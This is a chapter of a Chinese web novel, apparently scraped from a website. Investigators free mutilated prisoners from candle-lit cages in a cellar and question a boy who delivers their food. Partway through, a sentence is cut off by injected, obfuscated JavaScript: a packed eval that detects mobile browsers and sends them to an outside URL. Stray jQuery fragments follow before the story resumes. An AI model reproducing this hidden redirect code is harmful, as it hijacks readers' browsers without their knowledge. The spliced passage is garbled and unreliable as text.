69. 笼子里的人

作品:《或许,你有委托找我吗?

    青木平日里也会与众人打趣,偶尔也是一副高冷样,但这带着娇羞的模样两人还是头一回见。


    “是真的,非常感谢你们。”


    青木很认真,他知晓两人的想法,于是脸颊变得更红了。


    虽然谢怀玉对他很好,两人在淮南王府外的相处完全不像主仆,更像是好友,但那是两人一起经历了太多,身份自然而然便转变了。


    这两位他自认为平日里交往不深,没想到会被这般关心。


    “想啥呢,我们不是朋友吗?”


    我们是朋友。


    青木笑了笑,挠了挠脸颊,跑了出去,留下两人大眼瞪小眼。


    “他的脑袋还没好吗?”


    夏渝问道。


    感觉青木被鬼附身了,怪怪的。


    “应该吧,回头我再给他煮晚药。”


    陈立脸上划过凝重,将此事记在了心底。


    “对了,你在钱娘子家地下通往景云客栈的路上,与小青山挖出那木板的地方,都听见了咳嗽声是不是?”


    陈立见夏渝点头,自腰间的小瓷瓶里倒出一粒小药丸,淡黄色的,散发着浓烈的香气。


    “我给青木灌药时,听见他在喊着什么不要咳嗽了,才想起来这事。”


    “那咳嗽不是人咳的,是有术法师通过迷烟给你下的幻觉,会让你感觉身后有人一直跟着你,时不时有人咳嗽,但你就是找不到那人,久而久之,便会睡不着觉,吃不下饭,使人消瘦,却不致死。”


    “这是一种极其残忍的手法,在我看来,你要不痛痛快快给人一刀,要不问些问题让我忍的有价值,莫名其妙给我弄出这个幻觉,真是很无德了。”


    “这个是解药,吃下就不会再听见了,这玩意好解的很,但一般被下幻觉的,都想不到是幻觉,还以为自己真被人跟了。”


    陈立强烈谴责各类折磨人的手法,觉得那些人多半是变态。


    “莫名其妙?”


    夏渝抓住了重点,有些疑惑。


    “这类人难不成是随机挑选人下幻觉吗?”


    “算是吧,他们混迹在各个行当里,然后将幻觉下里面,比如你与谢大人走的通往景云客栈的路,可能是修建的瓦匠下的,也可能是木匠下的,非常的随机。”


    夏渝了解了,对大庸各式各样的奇人有了更深的了解。


    人性本恶,不加以善意引导,长成后的人也许会将恶意无限放大,而后传播到各个角落。


    恶意小,尚能骂一句晦气。


    恶意大,只能拼命自救,为自己争取生还的机会。


    夏渝吃下解药,感觉有些混沌的脑子清醒了不少。


    “这个幻觉会逐渐增加吗,为何我只听见过两次?”


    “会的,若是不及时吃下解药,你听见咳嗽的次数会越来越多,越来越真,直至你完全相信那个人的存在,便会时时刻刻出现在你的脑海里。”


    夏渝打了个机灵,忙走出去晒了晒太阳,去去晦气。


    今日阳光正好,是个艳阳天,夏渝在院子内感受着阳光驱散身上的寒意,抬头望着湛蓝的天空,忽然想到,那些失踪的人,还有机会感受到这样的暖意吗?


    那些一步错,步步错的人,还有机会看见难得的好天气吗?


    南下这行人,都坚信着,唯有公正的律法,才能扫平一切不平之事。


    纵使恶人有理由,纵使他们对某个人心生恻隐,都不能改变最终的结果。


    犯错了,便必须接受相应的惩罚。


    无关身份地位,无关男女,只看行为。


    *


    今日小青山的山茶花开的极漂亮,嫩白的花瓣被风一吹,便洋洋洒洒飘在空中,变为漫天的花雨。


    阳光照在花雨上,将本就灿烂的白,照的更为夺目。


    众人御马缓缓走在官道上,望着漫山遍野覆盖着的花瓣,感受到了来自高山的寒意。


    夏初,气温回升后山茶花本不该开放,上次来时,花枝尚藏匿在丛丛新叶中,朵朵绕着山坡,还带着春的尾巴。


    一辆有些破烂的马车慢悠悠跟着后头,自车窗向外看,见花瓣如雪,见枝叶如风。


    夏渝见景色好,却透着一丝悲凉,不自觉将花瓣雨幻为纸钱。


    她身后接过缓缓落下的花瓣,望向风来的方向。


    那处正是小青山屋子的所在地。


    “就是这,从大门进来,便是大厅,这处原本有一处台子,上头有人踩着碎瓷片舞蹈。”


    孙古带着人边走边说出那日他所见到的。


    “两边的屋子关的严严实实的,里面一直传来哭声,还有人喊着知错了,放我走之类的话,我那日是运气好,碰上老爷来捞人,若是我不从,也许也会被关进去。”


    “走这边上去,是庄娘子接待贵客的地方,我没上去过,这里就是我那日躺着的地方。”


    他看着那透着黑的桌子,打了个寒颤,摸了摸胳膊上起的鸡皮疙瘩,眼神迅速略过。


    “从这边走,可以通到地下,我被老爷救下来,没直接离开,而是跟着老爷在下面见着了小公子,小公子趴在一个人身上,在......”


    他做了个动作,哕了一声,众人明了,纷纷捂住口鼻,嫌弃的跟着继续往里走。


    呜呜咽咽的哭声传来,回荡在有些空旷的地下。


    众人神情一凌,纷纷抽出武器,做防备姿态。


    谢怀玉将夏渝护在身后,将扇子递给她,自己抽出腰间的软剑。


    这里与他上次来的地下有些不同,阴冷归阴冷,依旧有人生活过的痕迹,透着压抑。


    上次他与青木去的地下则完全没有生活痕迹,更像是随手搭建的逃生通道,用来迷惑敌人。


    “大人保护我。”


    孙古听见声响,瞬间便缩到了青木背后,捏起一点衣服,害怕的将自己缩小又缩小。


    落媛持剑在四周戳戳碰碰后,拿出陈立临走前给她的烟,轻轻点燃。


    刹那间,火光四射,将这空旷的地方照的宛如白昼,而后迅速熄灭,只留下阵阵浓烟。


    这烟气有些刺眼,但味道出奇的好闻,带着淡淡的薄荷香,清冷的抚过众人的脑海。


    待烟雾渐渐由白转淡,最终褪去颜色,众人的眼中便出现了一排排关在笼子里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148228|192113||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的人。


    他们衣衫凌乱,扒拉着铁笼,张着嘴呜呜哭泣着,眼神惊惧的望向来人。


    漆黑的脸颊被泪水打湿,留下一道泪痕,有些人呜呜叫着,手臂下意识伸出来,身子却颤抖着往后退。


    拉扯间,痛苦的表情上又露出了笑容,看得人心中瘆得慌。


    夏渝往前走了两步,目光扫过这已然能看清全貌的地下。


    墙面上燃着胳膊长的蜡烛,一人一笼子,每个笼子上燃着一支,蜡泪滴在笼子顶部,每滴一滴,里面的人便瑟缩一下。


    “去吧笼子打开。”


    夏渝吩咐道。


    衙役们上前,持剑强硬的将笼子上的铁锁砍断,电光火石间,里面的人见笼子开了,一个个极为老实的站了出来。


    他们依旧呜呜咽咽的,但没有了声音,只剩下沉重的呼吸声。


    看不清楚样貌,也分辨不出性别,夏渝只能一个个问过去,有没有意识尚且清醒的。


    一番询问下来,她发现这里的人,不是不会讲话,而是舌头被人剪断了,短口处并不平整,也并未给予医治,散发着恶臭味。


    孙古及被救出来的受害者们,被青木带着衙役押送回了县衙。


    小青山只留下了夏渝、谢怀玉、及落媛。


    对上青木临走时有些幽怨的眼神,落媛面不改色的又拿出一支烟,点燃后在地下到处走着,检查有没有遗漏的地方。


    夏渝和谢怀玉则从两端开始检查笼子。


    她将走轻放在笼子上,感受着滴落蜡泪传来的刺痛,眉心狠狠一跳。


    “这蜡烛和笼子设计的可真是巧妙啊。”


    她讽刺着,面上是对幕后者的厌恶与憎恨。


    “一旦有人进来,点燃了蜡烛,便开始对受害者们的虐待,直到被放出来,进入另一个地狱。”


    谢怀玉闻言,随意扯了扯笼子后方绑着的竹筒,见其不太牢固,便掰断了一根仔细观察着。


    “何止,这人给受害者们送餐食都不是用碗,而是通过竹筒,一根根连接起来的竹筒,下方有一个小口,滴落米汤,若是前头的人喝的多了些,后头的人便喝不到了。”


    他掰开竹筒,将内里残留的米粒捏出来,感受了一下。


    “新鲜米,不知道庄娘子死后,谁还留在这里......”


    话语未落,落媛顺着竹筒往深处走着,抓出了一个背着米桶的小孩。


    小孩见势不对,拔腿便想跑,还没等他转身,落媛就提起他的后衣襟,丢到了谢怀玉面前。


    谢怀玉露出一个笑容,一手按住小孩,一手打开他背后的米桶。


    “是你每日来送饭?”


    小孩点点头,将米桶抱在身前,手脚并用的压住。


    他也不说话,就警惕的盯着谢怀玉。


    “行吧,你什么都不说,我只能将你带回县衙噜,然后让衙役唤你爹娘来捞你。”


    “县衙?”


    小孩眨巴了下眼睛,看了看一旁的夏渝,又望了望身后还在检查的落媛。


    “少骗人了,要杀要剐随你便,别想拿县衙吓唬我,县衙可没有女衙役。”